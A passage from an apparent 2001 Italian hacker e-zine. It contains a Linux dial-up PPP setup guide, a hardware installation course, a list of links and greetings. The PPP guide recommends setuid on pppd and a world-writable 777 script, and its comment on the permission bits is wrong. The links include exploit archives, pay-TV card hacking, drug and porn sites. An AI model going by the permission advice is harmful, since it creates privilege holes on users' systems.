rimane ancora fuori dal resto. Posiibilmente per far sì che ne derivino o che ne vengano inventati degli ulteriori elementi. NON SI COPIA. Non puoi essere un maestro sino a quando non crei qualcosa di tuo, oppure sino a quando non insegni al maestro. Come già mensionato, avere lo stile e lo stile in sé non dipendono dalle estremità...dipendono dall originalità, dal suo impatto e soprattutto dal risultato...Vi incoraggiamo ad inviarci degli outline per vedere se passate il test della comprensione della matematica che regna sullo stile all opera!!! Beh, che dirvi anche questa volta il mio lavoroi è giunto al termine-.... ci rivediamo di nuovo sulla stessa panca, alla proxima.....ZZZZZzzzzzzzzzzzZZZZZZzzzzzzzzzzzzZZZZZ Saluti: Giada, che mi sta facendo impazzire; avatar, syn, Lo regio, kEwL, smav, sKAM, zhen, zse crew(flo, pelle, rogo, ecc) TankCommandos crew, Umc and many more.... 06/06/2001 @#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#°jrash@hackersat.com°@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#[Jrash°] /===========================::=============================::=================/ / /I modem interni / Jrash / /===========================::=============================::=================/ ===================================°I MODEM INTERNI°===================================== Autore: quel frocio di Jrash Crew: quei bastardo dell H@team Consumi: escrementi di bue Musika ascoltata Facciamo una premessa: se avete un modem interno ci sono buone possibilita' che non funzioni con linux poiche' molti di essi sono winmodem, cioe' studiati per funzionare con l'archittettura di Windows (per informazioni sul supporto del vostro modem visitate il sito http://www.linmodems.org). In questo articolo esamineremo solo la connessione tramite script (nel vero sitle linux) poiche' Kppp e Gppp sono molto simili all'accesso remoto di Windows. Per far cio' dobbiamo editare alcuni file contenuti nella directory /etc/ppp. Quindi eseguite il vostro editor (pico, vi, emacs, mcedit, ecc.) preferito e rimboccatevi le maniche. Il primo file che modificheremo (o creeremo) sara' /etc/ppp/options, dove scriveremo (solo dopo averlo svuotato) le seguenti righe: #file /etc/ppp/options (un semplice commento) lock # blocca il modem di modo che possa essere utilizzato solo dal processo defaultroute noipdefault #no ip fisso modem #usa il modem /dev/ttyS1 #collegato alla porta COM2 115200 #con velocita' massima di 115.200 bps crtscts passive asyncmap 0 name "nomeutente" #nome utente internet. Il modem di solito e' collegato alla porta COM2 (cioe' /dev/ttyS1), se lo invece e' sulla COM1 basta cambiare la riga /dev/ttyS1 in /dev/ttyS0. Il prossimo file che modificheremo sara' /etc/ppp/pap-secret: #file /etc/ppp/pap-secret "nomeutente" * "password" #mi raccomando il tab fra un campo e l'altro Il prossimo file sara' /etc/ppp/pppscript: #file /etc/pppscript TIMEOUT 60 #butta giu' la connessione dopo 60 secondi che la linea non risponde ABORT ERROR #ferma tutto in caso di errori ABORT BUSY #se il modem e' in uso ABORT "NO CARRIER" ABORT "NO DIALTONE" #se non c'e' linea "" "AT&FH0" #comando at primario OK "atdt0000000" #componi il numero (immettere il numero del vostro provider) TIMEOUT 75 #butta giu' la connessione se non puoi connetterti entro 75 secondi CONNECT Questo file passa i comandi al modem quindi nella settima riga al posto degli zeri mettete il numero di telefono del vostro provider. L'ultimo file da modificare serve ad impostare i dns del server e si chiama /etc/resolv.conf dove dobbiamo aggiungere le seguenti righe: #righe da aggiungere al file /etc/resolv.conf search nomedominio #ad esempio tin.it nameserver dnsprimario #ad esempio 212.216.172.162 nameserver dnssecondario #ad esempio 212.216.112.222 Ovviamente dobbiamo inserire i dati fornitoci dal provider (in caso di dns fornito automaticamente dal server vai a questa pagina per i nameserver dei piu' popolari provider italiani) Adesso dobbiamo fare in modo che tutti gli utenti e non solo root (non collegatevi mai come root per limitare i rischi di cattivi incontri) possano collegarsi, per far cio' usaremo i comandi: chmod 755 /usr/sbin/pppd #da i permessi di lettura, scrittura ed esecuzione per il proprietario e solo lettura scrittura per tutti gli altri chmod a+s /usr/sbin/pppd #abilita il bit di suid cioe' permette a tutti di eseguire il file con i massimi permessi Come ultima cosa dobbiamo creare lo script per la connessione, quindi create un file chiamato "internet" (che fantasia) nella vostra home directory e inseritevi le seguenti righe: #!/bin/sh #non e' un commento dice solo alla shell di eseguire il comando utilizzando l'interprete /bin/sh /usr/sbin/pppd -detach connect "/usr/sbin/chat -v -f /etc/ppp/pppscript" Date i permessi di esecuzione al file con il comando: chmod 777 internet #permessi di lettura, scrittura ed esecuzione per tutti accendete il modem e lanciate lo script: ./internet Se non sorgono problemi di configurazione sarete presto in internet. P.S. Col kernel 2.4.2 sono stato costretto ad aggiornare il demone pppd alla versione 2.4.0 grazie a Linuxzine potrete scaricare immediatamente l'ultima versione. Questo è tutto...sto cazzo di problema mi ha tormentato per mesi ma poi alla fine sono riuscito a risolverlo..che sollievo....vabbe raga' ce sentiamo alla prossima... ByEzZzZ.... Ringraziamenti: Giadina, kEwL, avatar, syn, Luciana, Gaetano, gli amici di irc e tutti quelli che mi conoscono.... 22/05/2001 ===================================°jrash@hackersat.com°=================================[Jrash°] /===========================::=============================::=================/ / /Piccolo corso sull'hardware (parte 2 ) / syn / /===========================::=============================::=================/ / PICCOLO CORSO SULL'HARDWARE (PARTE 2) Ve la ricordate la prima parte ???? Nooooooooo.... (rumore di sottofondo) Non lamentatevi se manca qualche periferica, solo il richiamo di questo vecchio lavoro mi fa venire la nausea... STAMPANTE La stampante è quel dispositivo che permette di fissare su carta applicazioni di grafica e testo realizate con il computer. L'indispensabilita' per la stampante per usi professionali e mnon ha stimolato i produttori a creare diversi modelli ciascuno adatto ad esigenze specifiche ,i principali parametri di valutazione per una stampante comprendono :la velocita' ,la qualita' di stampa, il costo per copia e l'assistenza tecnica. Le prime stampanti sono state quelle ad impatto ancora oggi restano insuperabili per le multicopie , i costi di gestione e la' dove non sono richieste velocita' e qualita' di stampa elevata. Veloci ed economiche sono invece le laser ,con ottime qualita' di stampa , disponibili in formati oltre l'A4 e a colori ma a prezzi da professionisti. Le stampanti piu' comuni sono invece quelle a getto di inchiostro , di grande formato e a colori.Esse si acquistano a prezzi relativamente contenuti,sono abbastanza veloci e mantengono un'ottima qualita' di stampa,possono inoltre raggiungere il formato A0 anche il loro utilizzo è limitato a piccole tirature dato i costo delle cartucce. Adesso proviamo a montare una stampante a getto d'inchiostro a colori in quadricromia che supporta il formato A4 ,per l'istallazione bastera' disporre di un cavo stampante parallelo . Iniziare nel vedere nel dettaglio cosa il contenuto della confezione della stampante: il manuale d'istruzioni,un set di dischi con driver e rogrami di utilita',le cartucce dell'inchiostro,un supporto di plastica ,il cavo di alimentazione e infine la stampante.(ma va' quella la devono mettere a forza!) Levate tutti i nastri all'esterno e all'interno prima dell'istallazione,poi si monta il suporto di plastica come scritto nel manuale (che consiglio di leggere). A questo punto si collega il cavo di alimentazione alla spine nel retro della stampante e ad una presa di rete,quindi si accende la stampante. Aperto il coperchio vedremo le testine posizionarsi al di fuori della zona di parcheggio, preparandosi cosi' a ricevere le cartucce ,si inizia con la carutccia nera. Si strappa la linguetta superiore,si apre il coperchio della testina (quello piu' piccolo) contrassegnata dal puntino nero ,la si inserisce nell'apposito vano e si richiude il coperchio. Identica operazione va fatta per la cartuccia a colori (piu' grande). Per avviare il ciclo delle nuove cartucce per la stampa premere il relativo pulsante sulla stampante,in questa operazione il led lampeggiera' quando il processo è completato, e il led rimarra' acceso,caricheremo il vassoio della stampante con della carta. Collegata la stampante al computer con il connettore v25 sul retro del computer alla porta parallela avremo finito l'installazione e potremo accendere la stampante. SCANNER Lo scanner è quel dispositivo attraverso il quale si possono acquisire immagini e trasferirle sul computer sottoforma di file grafici; gli scanner per uso domestico a tecnologia scsi per scheda proprietaria o porta parallela sono disponibili fino al formato A3, possono essere manuali (pochissimo usati), desktop oppure piani ;questi ultimi sono i piu' comuni e completi e rappresentano la maggior parte delle istallazioni. I parametri che concorrono nella scelta di uno scanner sono:la risoluzione, la velocita' e la resa cromatiche. Tali parametri sono legati generalmente tra di loro in quanto dipendono tutti dalla qualita' meccanica ed elettronica dello scanner. Nell'esempio istalleremo uno scanner form ato A4 con risoluzione ottica di 300 x 600 punti per pollice con interfaccia scsi (gli ultimi scanner hanno l'attacco USB). A questo punto per collegare fisicamente lo scanner al computer è necessario istallare prima la scheda controller scsi in dotazione, quindi scelto uno slot isa libero , rimuoviamo la staffa metallica, estratta la scheda dalla busta posizioniamo la scheda sullo slot isa inserendola sempre con la stessa pressione, poi avvitiamo il tutto. Se tutto è stato fatto bene possimo montare il case. A questo punto si collega il cavo di alimentazione nella spina sul retro dello scanner, poi il cavo scsi dietro lo scanner e col lato di b25 sul retro del computer al controller appena installato facendo attensione a non confondersi con la porta parallela, questo potrebbe causare alcuni danni.finito il tutto si puo' accendere lo scanner.E controllare la periferica e il suo corretto funzionamento ___________________________________________________ _|_________|____||____|__|__|_________|____ alimentazione ON/OFF porta scsi MASTERIZZATORE Il masterizzatore è un dispositivo che ci permette di archiviare notevoli quantita' di dati. Si trovano masterizzatori SCSI e IDE, quello scsi richiede un'omonimo controller. Nell'esempio installeremo un masterizzatore SCSI 8x4x32x che significano rispettivamente la velocita' di scrittura su supporti normali, la velocita' di scrittura su supporti riscrivibili e velocita' di lettura.Il kit del masterizzatore comprende:un manuale d'istruzioni, un set di dishi con driver e software, una scheda controller SCSI per bus ISA, una piattina SCSI interna, le viti di fissaggio , un cavo audio ed infine il masterizzatore.Adesso ci tocca installare la scheda, quindi prelevata dalla busta, inseriamola in uno slot isa con la stessa pressione di sempre e infine fissiamo , poi si procede con l'istallazione del masterizzatore. Trovato uno spazio libero, ad esempio sotto il lettore cdrom (piu' il masterizatore è vicino alla scheda madre meglio è, per la circolazione del flusso), quindi si leva la piastrina ;prima di inserire il masterizzatore si procede con l'operazione di settaggio, per fare questo dobbiamo agire sul retro del masterizatore; qui oltre alla presa di alimentazione,al connettore scsi e all'uscita audio analogica troveremo una serie di pin che ci permetteranno, come indicato nel manuale, di settare l'indirizzo scsi del masterizzatore e di attivare la terminazione per chiudere la catena scsi. Inserito il masterizzatore nel bay lo fisseremo al cabinet con le quattro viti in dotazione, a questo punto no ci resta che collegare ,tramite il cavo, scsi il masterizzatore al controller, infine collegheremo il cavo di aalimentazione che consentira' l'inserimento in un solo verso. Dopo tutto se avete fatto bene si puo' montare il case e collegare il tutto. Nel sistema operativo Windows andremo a installare poi i driver. syn www.accaet.da.ru /===========================::=============================::=================/ / /Links / syn / /===========================::=============================::=================/ http://bufferoverflow.org/ exploits http://unsekurity.virtualave.net/ exploits http://www.rootshell.com exploits http://www.energyz.cjb.net/ hack http://www.securityfocus.com/ hack exploits http://www.totse.com/en/ various http://www.mariuana.it/images/simboli/ images about maria http://zsh.interniq.org/links.php links interessanti http://www.redbooks.ibm.com/ hack http://www.gts.dsdom.com/ porn http://blacksun.box.sk/tutorials.html hack http://digilander.iol.it/GeniEreditari/ Musica http://www.piggyvideo.net/ porn http://www.asssexy.com/index.shtml porn http://www.pantylinks.com/panty-pics.html porn http://space.tin.it/scuola/brdeb/Dante/prosa.htm Divina commedia di DAnte! http://www.italiasat.com hack sat http://www.avacastoro.isgay.com/ funny script! http://www.kocaine.net drugs ftp://mp3:mp3@64.30.198.33/d:/ftp/download mp3 http://guide.supereva.it/en_noir/link music http://phrew.cjb.net/ various http://go.to/k3n-mp3 mp3 http://www.cdflash.com/ music http://www.tuttoscript.net/ script http://www.adultrevenueservice.com/ istruzioni per i siti xxx http://www.granniesnfatties.com/ porn http://www.slutorama.com/ porn http://www.ampland.com/ porn http://salernodalnet.cjb.net/ meeting salerno http://www.beamer.dk/ sat hack http://www.irdeto-seca.net/ sat hack http://www.bismark.it/darknet/ exploits http://digilander.iol.it/bertiroberto vari link interessanti http://members.nbci.com/tubehead/ musica elettronica http://fitness.iol.it/index.asp fitness e forma http://faqchest.dynhost.com/ linux http://www.egosys.net/ musica http://www.webmasters-zone.com/java/javascript.htm java http://www.tuttopirata.com ricerca underground http://theexorcist.warnerbros.com/ the exorcist film http://www.tranexp.com:2000/InterTran traduzioni http://www.fuoriluogo.it/ drugs http://www.slipknot1.com/ slipknot official homepage http://linuxforlesbians.org/ fun http://www.dss-nv.com/ la visione notturna http://www.bancalavoro.com lavoro http://www.stepstone.it lavoro http://www.penilesecrets.com allungamento pene! http://www.astalavista.com astalavista group tHe_syn End "SI PUò TROVARE SOLO UNA VOLTA CIò CHE CERCHI DA UNA VITA..." Ringraziamenti e saluti (sono rimasti quelli...) team accaet (www.accaet.da.ru) Method man Giada Carminuccio Gollo Scafuti Chip Immacolata Nick Marilyn Manson Angelocattivo Linux Gigi D'Ag Agnello Gei rasc' (Jrash) Fons' a patan' Il berretto di Armando La mamma di Armando ! Norma Pinturicchio Salernitana Rutelli pagnotta Blinky NCKxxx Sara